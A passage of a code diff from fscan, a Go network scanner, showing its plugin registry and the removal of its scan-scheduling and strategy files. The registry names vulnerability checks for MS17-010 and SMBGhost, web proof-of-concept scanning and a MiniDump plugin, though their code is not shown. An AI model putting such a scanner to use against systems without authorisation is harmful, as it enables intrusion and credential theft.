ScanFunc: Plugins.SmbScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 数据库服务
|
||||
Common.RegisterPlugin("mssql", Common.ScanPlugin{
|
||||
Name: "MSSQL",
|
||||
Ports: []int{1433, 1434},
|
||||
ScanFunc: Plugins.MssqlScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("oracle", Common.ScanPlugin{
|
||||
Name: "Oracle",
|
||||
Ports: []int{1521, 1522, 1526},
|
||||
ScanFunc: Plugins.OracleScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mysql", Common.ScanPlugin{
|
||||
Name: "MySQL",
|
||||
Ports: []int{3306, 3307, 13306, 33306},
|
||||
ScanFunc: Plugins.MysqlScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 中间件和消息队列服务
|
||||
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
|
||||
Name: "Elasticsearch",
|
||||
Ports: []int{9200, 9300},
|
||||
ScanFunc: Plugins.ElasticScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
|
||||
Name: "RabbitMQ",
|
||||
Ports: []int{5672, 5671, 15672, 15671},
|
||||
ScanFunc: Plugins.RabbitMQScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("kafka", Common.ScanPlugin{
|
||||
Name: "Kafka",
|
||||
Ports: []int{9092, 9093},
|
||||
ScanFunc: Plugins.KafkaScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("activemq", Common.ScanPlugin{
|
||||
Name: "ActiveMQ",
|
||||
Ports: []int{61613},
|
||||
ScanFunc: Plugins.ActiveMQScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 目录和认证服务
|
||||
Common.RegisterPlugin("ldap", Common.ScanPlugin{
|
||||
Name: "LDAP",
|
||||
Ports: []int{389, 636},
|
||||
ScanFunc: Plugins.LDAPScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 邮件服务
|
||||
Common.RegisterPlugin("smtp", Common.ScanPlugin{
|
||||
Name: "SMTP",
|
||||
Ports: []int{25, 465, 587},
|
||||
ScanFunc: Plugins.SmtpScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("imap", Common.ScanPlugin{
|
||||
Name: "IMAP",
|
||||
Ports: []int{143, 993},
|
||||
ScanFunc: Plugins.IMAPScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("pop3", Common.ScanPlugin{
|
||||
Name: "POP3",
|
||||
Ports: []int{110, 995},
|
||||
ScanFunc: Plugins.POP3Scan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 网络管理和监控服务
|
||||
Common.RegisterPlugin("snmp", Common.ScanPlugin{
|
||||
Name: "SNMP",
|
||||
Ports: []int{161, 162},
|
||||
ScanFunc: Plugins.SNMPScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("modbus", Common.ScanPlugin{
|
||||
Name: "Modbus",
|
||||
Ports: []int{502, 5020},
|
||||
ScanFunc: Plugins.ModbusScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 数据同步和备份服务
|
||||
Common.RegisterPlugin("rsync", Common.ScanPlugin{
|
||||
Name: "Rsync",
|
||||
Ports: []int{873},
|
||||
ScanFunc: Plugins.RsyncScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// NoSQL数据库
|
||||
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
|
||||
Name: "Cassandra",
|
||||
Ports: []int{9042},
|
||||
ScanFunc: Plugins.CassandraScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
|
||||
Name: "Neo4j",
|
||||
Ports: []int{7687},
|
||||
ScanFunc: Plugins.Neo4jScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 远程桌面和显示服务
|
||||
Common.RegisterPlugin("rdp", Common.ScanPlugin{
|
||||
Name: "RDP",
|
||||
Ports: []int{3389, 13389, 33389},
|
||||
ScanFunc: Plugins.RdpScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("postgres", Common.ScanPlugin{
|
||||
Name: "PostgreSQL",
|
||||
Ports: []int{5432, 5433},
|
||||
ScanFunc: Plugins.PostgresScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("vnc", Common.ScanPlugin{
|
||||
Name: "VNC",
|
||||
Ports: []int{5900, 5901, 5902},
|
||||
ScanFunc: Plugins.VncScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 缓存和键值存储服务
|
||||
Common.RegisterPlugin("redis", Common.ScanPlugin{
|
||||
Name: "Redis",
|
||||
Ports: []int{6379, 6380, 16379},
|
||||
ScanFunc: Plugins.RedisScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("memcached", Common.ScanPlugin{
|
||||
Name: "Memcached",
|
||||
Ports: []int{11211},
|
||||
ScanFunc: Plugins.MemcachedScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
|
||||
Name: "MongoDB",
|
||||
Ports: []int{27017, 27018},
|
||||
ScanFunc: Plugins.MongodbScan,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 2. 特殊漏洞扫描插件
|
||||
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
|
||||
Name: "MS17010",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.MS17010,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
|
||||
Name: "SMBGhost",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.SmbGhost,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 3. Web应用扫描插件
|
||||
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
|
||||
Name: "WebTitle",
|
||||
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||
ScanFunc: Plugins.WebTitle,
|
||||
Types: []string{Common.PluginTypeWeb},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
|
||||
Name: "WebPoc",
|
||||
Ports: Common.ParsePortsFromString(Common.WebPorts),
|
||||
ScanFunc: Plugins.WebPoc,
|
||||
Types: []string{Common.PluginTypeWeb},
|
||||
})
|
||||
|
||||
// 4. Windows系统专用插件
|
||||
Common.RegisterPlugin("smb2", Common.ScanPlugin{
|
||||
Name: "SMBScan2",
|
||||
Ports: []int{445},
|
||||
ScanFunc: Plugins.SmbScan2,
|
||||
Types: []string{Common.PluginTypeService},
|
||||
})
|
||||
|
||||
// 5. 本地信息收集插件
|
||||
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
|
||||
Name: "LocalInfo",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.LocalInfoScan,
|
||||
Types: []string{Common.PluginTypeLocal},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
|
||||
Name: "DCInfo",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.DCInfoScan,
|
||||
Types: []string{Common.PluginTypeLocal},
|
||||
})
|
||||
|
||||
Common.RegisterPlugin("minidump", Common.ScanPlugin{
|
||||
Name: "MiniDump",
|
||||
Ports: []int{},
|
||||
ScanFunc: Plugins.MiniDump,
|
||||
Types: []string{Common.PluginTypeLocal},
|
||||
})
|
||||
}
|
||||
|
||||
// GetAllPlugins 返回所有已注册插件的名称列表
|
||||
func GetAllPlugins() []string {
|
||||
pluginNames := make([]string, 0, len(Common.PluginManager))
|
||||
for name := range Common.PluginManager {
|
||||
pluginNames = append(pluginNames, name)
|
||||
}
|
||||
sort.Strings(pluginNames)
|
||||
return pluginNames
|
||||
}
|
||||
-246
@@ -1,246 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ScanTask 表示单个扫描任务
|
||||
type ScanTask struct {
|
||||
pluginName string // 插件名称
|
||||
target Common.HostInfo // 目标信息
|
||||
}
|
||||
|
||||
// ScanStrategy 定义扫描策略接口
|
||||
type ScanStrategy interface {
|
||||
// 名称和描述
|
||||
Name() string
|
||||
Description() string
|
||||
|
||||
// 执行扫描的主要方法
|
||||
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
|
||||
|
||||
// 插件管理方法
|
||||
GetPlugins() ([]string, bool)
|
||||
LogPluginInfo()
|
||||
|
||||
// 任务准备方法
|
||||
PrepareTargets(info Common.HostInfo) []Common.HostInfo
|
||||
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
|
||||
}
|
||||
|
||||
// Scanner 扫描器结构体
|
||||
type Scanner struct {
|
||||
strategy ScanStrategy
|
||||
}
|
||||
|
||||
// NewScanner 创建新的扫描器并选择合适的策略
|
||||
func NewScanner(info Common.HostInfo) *Scanner {
|
||||
scanner := &Scanner{}
|
||||
scanner.selectStrategy(info)
|
||||
return scanner
|
||||
}
|
||||
|
||||
// selectStrategy 根据扫描配置选择适当的扫描策略
|
||||
func (s *Scanner) selectStrategy(info Common.HostInfo) {
|
||||
switch {
|
||||
case Common.LocalMode:
|
||||
s.strategy = NewLocalScanStrategy()
|
||||
Common.LogBase("已选择本地扫描模式")
|
||||
case len(Common.URLs) > 0:
|
||||
s.strategy = NewWebScanStrategy()
|
||||
Common.LogBase("已选择Web扫描模式")
|
||||
default:
|
||||
s.strategy = NewServiceScanStrategy()
|
||||
Common.LogBase("已选择服务扫描模式")
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行整体扫描流程
|
||||
func (s *Scanner) Scan(info Common.HostInfo) {
|
||||
Common.LogBase("开始信息扫描")
|
||||
lib.Inithttp()
|
||||
|
||||
// 并发控制初始化
|
||||
ch := make(chan struct{}, Common.ThreadNum)
|
||||
wg := sync.WaitGroup{}
|
||||
|
||||
// 执行策略
|
||||
s.strategy.Execute(info, &ch, &wg)
|
||||
|
||||
// 等待所有扫描完成
|
||||
wg.Wait()
|
||||
s.finishScan()
|
||||
}
|
||||
|
||||
// finishScan 完成扫描并输出结果
|
||||
func (s *Scanner) finishScan() {
|
||||
if Common.ProgressBar != nil {
|
||||
Common.ProgressBar.Finish()
|
||||
fmt.Println()
|
||||
}
|
||||
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
|
||||
}
|
||||
|
||||
// 任务执行通用框架
|
||||
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
// 获取要执行的插件
|
||||
pluginsToRun, isCustomMode := strategy.GetPlugins()
|
||||
|
||||
// 准备扫描任务
|
||||
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
|
||||
|
||||
// 输出扫描计划
|
||||
if Common.ShowScanPlan && len(tasks) > 0 {
|
||||
logScanPlan(tasks)
|
||||
}
|
||||
|
||||
// 初始化进度条
|
||||
if len(tasks) > 0 && Common.ShowProgress {
|
||||
initProgressBar(len(tasks))
|
||||
}
|
||||
|
||||
// 执行所有任务
|
||||
for _, task := range tasks {
|
||||
scheduleScanTask(task.pluginName, task.target, ch, wg)
|
||||
}
|
||||
}
|
||||
|
||||
// 准备扫描任务列表
|
||||
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
|
||||
var tasks []ScanTask
|
||||
|
||||
for _, target := range targets {
|
||||
targetPort := 0
|
||||
if target.Ports != "" {
|
||||
targetPort, _ = strconv.Atoi(target.Ports)
|
||||
}
|
||||
|
||||
for _, pluginName := range pluginsToRun {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if !exists {
|
||||
continue
|
||||
}
|
||||
|
||||
// 检查插件是否适用于当前目标 (通过策略判断)
|
||||
if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) {
|
||||
tasks = append(tasks, ScanTask{
|
||||
pluginName: pluginName,
|
||||
target: target,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return tasks
|
||||
}
|
||||
|
||||
// logScanPlan 输出扫描计划信息
|
||||
func logScanPlan(tasks []ScanTask) {
|
||||
// 统计每个插件的目标数量
|
||||
pluginCounts := make(map[string]int)
|
||||
for _, task := range tasks {
|
||||
pluginCounts[task.pluginName]++
|
||||
}
|
||||
|
||||
// 构建扫描计划信息
|
||||
var planInfo strings.Builder
|
||||
planInfo.WriteString("扫描计划:\n")
|
||||
|
||||
for plugin, count := range pluginCounts {
|
||||
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
|
||||
}
|
||||
|
||||
Common.LogBase(planInfo.String())
|
||||
}
|
||||
|
||||
// 初始化进度条
|
||||
func initProgressBar(totalTasks int) {
|
||||
Common.ProgressBar = progressbar.NewOptions(totalTasks,
|
||||
progressbar.OptionEnableColorCodes(true),
|
||||
progressbar.OptionShowCount(),
|
||||
progressbar.OptionSetWidth(15),
|
||||
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
|
||||
progressbar.OptionSetTheme(progressbar.Theme{
|
||||
Saucer: "[green]=[reset]",
|
||||
SaucerHead: "[green]>[reset]",
|
||||
SaucerPadding: " ",
|
||||
BarStart: "[",
|
||||
BarEnd: "]",
|
||||
}),
|
||||
progressbar.OptionThrottle(65*time.Millisecond),
|
||||
progressbar.OptionUseANSICodes(true),
|
||||
progressbar.OptionSetRenderBlankState(true),
|
||||
)
|
||||
}
|
||||
|
||||
// 调度单个扫描任务
|
||||
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
wg.Add(1)
|
||||
*ch <- struct{}{} // 获取并发槽位
|
||||
|
||||
go func() {
|
||||
startTime := time.Now()
|
||||
|
||||
defer func() {
|
||||
// 捕获并记录任何可能的panic
|
||||
if r := recover(); r != nil {
|
||||
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
|
||||
pluginName, target.Host, target.Ports, r))
|
||||
}
|
||||
|
||||
// 完成任务,释放资源
|
||||
duration := time.Since(startTime)
|
||||
if Common.ShowScanPlan {
|
||||
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
|
||||
pluginName, target.Host, target.Ports, duration.Seconds()))
|
||||
}
|
||||
|
||||
wg.Done()
|
||||
<-*ch // 释放并发槽位
|
||||
}()
|
||||
|
||||
atomic.AddInt64(&Common.Num, 1)
|
||||
executeSingleScan(pluginName, target)
|
||||
updateProgress()
|
||||
}()
|
||||
}
|
||||
|
||||
// 执行单个扫描
|
||||
func executeSingleScan(pluginName string, info Common.HostInfo) {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if !exists {
|
||||
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
|
||||
return
|
||||
}
|
||||
|
||||
if err := plugin.ScanFunc(&info); err != nil {
|
||||
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 更新扫描进度
|
||||
func updateProgress() {
|
||||
Common.OutputMutex.Lock()
|
||||
defer Common.OutputMutex.Unlock()
|
||||
|
||||
atomic.AddInt64(&Common.End, 1)
|
||||
|
||||
if Common.ProgressBar != nil {
|
||||
fmt.Print("\033[2K\r")
|
||||
Common.ProgressBar.Add(1)
|
||||
}
|
||||
}
|
||||
|
||||
// 入口函数,向后兼容旧的调用方式
|
||||
func Scan(info Common.HostInfo) {
|
||||
scanner := NewScanner(info)
|
||||
scanner.Scan(info)
|
||||
}
|
||||
@@ -1,218 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// ServiceScanStrategy 服务扫描策略
|
||||
type ServiceScanStrategy struct{}
|
||||
|
||||
// NewServiceScanStrategy 创建新的服务扫描策略
|
||||
func NewServiceScanStrategy() *ServiceScanStrategy {
|
||||
return &ServiceScanStrategy{}
|
||||
}
|
||||
|
||||
// Name 返回策略名称
|
||||
func (s *ServiceScanStrategy) Name() string {
|
||||
return "服务扫描"
|
||||
}
|
||||
|
||||
// Description 返回策略描述
|
||||
func (s *ServiceScanStrategy) Description() string {
|
||||
return "扫描主机服务和漏洞"
|
||||
}
|
||||
|
||||
// Execute 执行服务扫描策略
|
||||
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
// 验证扫描目标
|
||||
if info.Host == "" {
|
||||
Common.LogError("未指定扫描目标")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证插件配置
|
||||
if err := validateScanPlugins(); err != nil {
|
||||
Common.LogError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// 解析目标主机
|
||||
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||
return
|
||||
}
|
||||
|
||||
Common.LogBase("开始主机扫描")
|
||||
|
||||
// 输出插件信息
|
||||
s.LogPluginInfo()
|
||||
|
||||
// 执行主机扫描流程
|
||||
s.performHostScan(hosts, info, ch, wg)
|
||||
}
|
||||
|
||||
// performHostScan 执行主机扫描的完整流程
|
||||
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
var targetInfos []Common.HostInfo
|
||||
|
||||
// 主机存活性检测和端口扫描
|
||||
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||
// 主机存活检测
|
||||
if s.shouldPerformLivenessCheck(hosts) {
|
||||
hosts = CheckLive(hosts, Common.UsePing)
|
||||
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
|
||||
}
|
||||
|
||||
// 端口扫描
|
||||
alivePorts := s.discoverAlivePorts(hosts)
|
||||
if len(alivePorts) > 0 {
|
||||
targetInfos = s.convertToTargetInfos(alivePorts, info)
|
||||
}
|
||||
}
|
||||
|
||||
// 执行漏洞扫描
|
||||
if len(targetInfos) > 0 {
|
||||
Common.LogBase("开始漏洞扫描")
|
||||
ExecuteScanTasks(targetInfos, s, ch, wg)
|
||||
}
|
||||
}
|
||||
|
||||
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
|
||||
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
|
||||
return Common.DisablePing == false && len(hosts) > 1
|
||||
}
|
||||
|
||||
// discoverAlivePorts 发现存活的端口
|
||||
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
|
||||
var alivePorts []string
|
||||
|
||||
// 根据扫描模式选择端口扫描方式
|
||||
if len(hosts) > 0 {
|
||||
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
|
||||
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
}
|
||||
|
||||
// 合并额外指定的端口
|
||||
if len(Common.HostPort) > 0 {
|
||||
alivePorts = append(alivePorts, Common.HostPort...)
|
||||
alivePorts = Common.RemoveDuplicate(alivePorts)
|
||||
Common.HostPort = nil
|
||||
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
|
||||
}
|
||||
|
||||
return alivePorts
|
||||
}
|
||||
|
||||
// PrepareTargets 准备目标信息
|
||||
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
|
||||
// 解析目标主机
|
||||
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
|
||||
return nil
|
||||
}
|
||||
|
||||
var targetInfos []Common.HostInfo
|
||||
|
||||
// 主机存活性检测和端口扫描
|
||||
if len(hosts) > 0 || len(Common.HostPort) > 0 {
|
||||
// 主机存活检测
|
||||
if s.shouldPerformLivenessCheck(hosts) {
|
||||
hosts = CheckLive(hosts, Common.UsePing)
|
||||
}
|
||||
|
||||
// 端口扫描
|
||||
alivePorts := s.discoverAlivePorts(hosts)
|
||||
if len(alivePorts) > 0 {
|
||||
targetInfos = s.convertToTargetInfos(alivePorts, info)
|
||||
}
|
||||
}
|
||||
|
||||
return targetInfos
|
||||
}
|
||||
|
||||
// convertToTargetInfos 将端口列表转换为目标信息
|
||||
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
|
||||
var infos []Common.HostInfo
|
||||
|
||||
for _, targetIP := range ports {
|
||||
hostParts := strings.Split(targetIP, ":")
|
||||
if len(hostParts) != 2 {
|
||||
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
|
||||
continue
|
||||
}
|
||||
|
||||
info := baseInfo
|
||||
info.Host = hostParts[0]
|
||||
info.Ports = hostParts[1]
|
||||
infos = append(infos, info)
|
||||
}
|
||||
|
||||
return infos
|
||||
}
|
||||
|
||||
// GetPlugins 获取服务扫描插件列表
|
||||
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 如果指定了插件列表且不是"all"
|
||||
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||
plugins := parsePluginList(Common.ScanMode)
|
||||
if len(plugins) > 0 {
|
||||
return plugins, true
|
||||
}
|
||||
return []string{Common.ScanMode}, true
|
||||
}
|
||||
|
||||
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||
return GetAllPlugins(), false
|
||||
}
|
||||
|
||||
// LogPluginInfo 输出服务扫描插件信息
|
||||
func (s *ServiceScanStrategy) LogPluginInfo() {
|
||||
allPlugins, isCustomMode := s.GetPlugins()
|
||||
|
||||
// 如果是自定义模式,直接显示用户指定的插件
|
||||
if isCustomMode {
|
||||
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||
return
|
||||
}
|
||||
|
||||
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
|
||||
var applicablePlugins []string
|
||||
for _, pluginName := range allPlugins {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if exists && !plugin.HasType(Common.PluginTypeLocal) {
|
||||
applicablePlugins = append(applicablePlugins, pluginName)
|
||||
}
|
||||
}
|
||||
|
||||
if len(applicablePlugins) > 0 {
|
||||
Common.LogBase(fmt.Sprintf("使用服务插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||
} else {
|
||||
Common.LogBase("未找到可用的服务插件")
|
||||
}
|
||||
}
|
||||
|
||||
// IsPluginApplicable 判断插件是否适用于服务扫描
|
||||
func (s *ServiceScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||
// 自定义模式下运行所有明确指定的插件
|
||||
if isCustomMode {
|
||||
return true
|
||||
}
|
||||
|
||||
// 非自定义模式下,排除本地插件
|
||||
if plugin.HasType(Common.PluginTypeLocal) {
|
||||
return false
|
||||
}
|
||||
|
||||
// 检查端口是否匹配
|
||||
if len(plugin.Ports) > 0 && targetPort > 0 {
|
||||
return plugin.HasPort(targetPort)
|
||||
}
|
||||
|
||||
// 无端口限制的插件或适用于服务扫描的插件
|
||||
return len(plugin.Ports) == 0 || plugin.HasType(Common.PluginTypeService)
|
||||
}
|
||||
@@ -1,125 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// WebScanStrategy Web扫描策略
|
||||
type WebScanStrategy struct{}
|
||||
|
||||
// NewWebScanStrategy 创建新的Web扫描策略
|
||||
func NewWebScanStrategy() *WebScanStrategy {
|
||||
return &WebScanStrategy{}
|
||||
}
|
||||
|
||||
// Name 返回策略名称
|
||||
func (s *WebScanStrategy) Name() string {
|
||||
return "Web扫描"
|
||||
}
|
||||
|
||||
// Description 返回策略描述
|
||||
func (s *WebScanStrategy) Description() string {
|
||||
return "扫描Web应用漏洞和信息"
|
||||
}
|
||||
|
||||
// Execute 执行Web扫描策略
|
||||
func (s *WebScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
Common.LogBase("开始Web扫描")
|
||||
|
||||
// 验证插件配置
|
||||
if err := validateScanPlugins(); err != nil {
|
||||
Common.LogError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// 准备URL目标
|
||||
targets := s.PrepareTargets(info)
|
||||
|
||||
// 输出插件信息
|
||||
s.LogPluginInfo()
|
||||
|
||||
// 执行扫描任务
|
||||
ExecuteScanTasks(targets, s, ch, wg)
|
||||
}
|
||||
|
||||
// PrepareTargets 准备URL目标列表
|
||||
func (s *WebScanStrategy) PrepareTargets(baseInfo Common.HostInfo) []Common.HostInfo {
|
||||
var targetInfos []Common.HostInfo
|
||||
|
||||
for _, url := range Common.URLs {
|
||||
urlInfo := baseInfo
|
||||
// 确保URL包含协议头
|
||||
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
|
||||
url = "http://" + url
|
||||
}
|
||||
urlInfo.Url = url
|
||||
targetInfos = append(targetInfos, urlInfo)
|
||||
}
|
||||
|
||||
return targetInfos
|
||||
}
|
||||
|
||||
// GetPlugins 获取Web扫描插件列表
|
||||
func (s *WebScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 如果指定了自定义插件并且不是"all"
|
||||
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||
requestedPlugins := parsePluginList(Common.ScanMode)
|
||||
if len(requestedPlugins) == 0 {
|
||||
requestedPlugins = []string{Common.ScanMode}
|
||||
}
|
||||
|
||||
// 验证插件是否存在,不做Web类型过滤
|
||||
var validPlugins []string
|
||||
for _, name := range requestedPlugins {
|
||||
if _, exists := Common.PluginManager[name]; exists {
|
||||
validPlugins = append(validPlugins, name)
|
||||
}
|
||||
}
|
||||
|
||||
if len(validPlugins) > 0 {
|
||||
return validPlugins, true
|
||||
}
|
||||
}
|
||||
|
||||
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||
return GetAllPlugins(), false
|
||||
}
|
||||
|
||||
// LogPluginInfo 输出Web扫描插件信息
|
||||
func (s *WebScanStrategy) LogPluginInfo() {
|
||||
allPlugins, isCustomMode := s.GetPlugins()
|
||||
|
||||
// 如果是自定义模式,直接显示用户指定的插件
|
||||
if isCustomMode {
|
||||
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||
return
|
||||
}
|
||||
|
||||
// 在自动模式下,只显示Web类型的插件
|
||||
var applicablePlugins []string
|
||||
for _, pluginName := range allPlugins {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if exists && plugin.HasType(Common.PluginTypeWeb) {
|
||||
applicablePlugins = append(applicablePlugins, pluginName)
|
||||
}
|
||||
}
|
||||
|
||||
if len(applicablePlugins) > 0 {
|
||||
Common.LogBase(fmt.Sprintf("Web扫描模式: 使用Web插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||
} else {
|
||||
Common.LogBase("Web扫描模式: 未找到可用的Web插件")
|
||||
}
|
||||
}
|
||||
|
||||
// IsPluginApplicable 判断插件是否适用于Web扫描
|
||||
func (s *WebScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||
// 自定义模式下运行所有明确指定的插件
|
||||
if isCustomMode {
|
||||
return true
|
||||
}
|
||||
// 非自定义模式下,只运行Web类型插件
|
||||
return plugin.HasType(Common.PluginTypeWeb)
|
||||
}
|
||||
@@ -0,0 +1,191 @@
|
||||
# fscan Makefile
|
||||
# 提供统一的构建、测试、检查命令
|
||||
|
||||
.PHONY: help test test-cover build build-web build-ui build-debug build-race lint lint-fix clean ci deps install-tools stress-test
|
||||
|
||||
# 默认目标
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
# 项目配置
|
||||
BINARY_NAME := fscan
|
||||
GO := go
|
||||
GOLANGCI_LINT := golangci-lint
|
||||
|
||||
# 颜色输出
|
||||
BLUE := \033[0;34m
|
||||
GREEN := \033[0;32m
|
||||
RED := \033[0;31m
|
||||
NC := \033[0m # No Color
|
||||
|
||||
## help: 显示帮助信息
|
||||
help:
|
||||
@echo "$(BLUE)fscan 构建工具$(NC)"
|
||||
@echo ""
|
||||
@echo "$(GREEN)可用命令:$(NC)"
|
||||
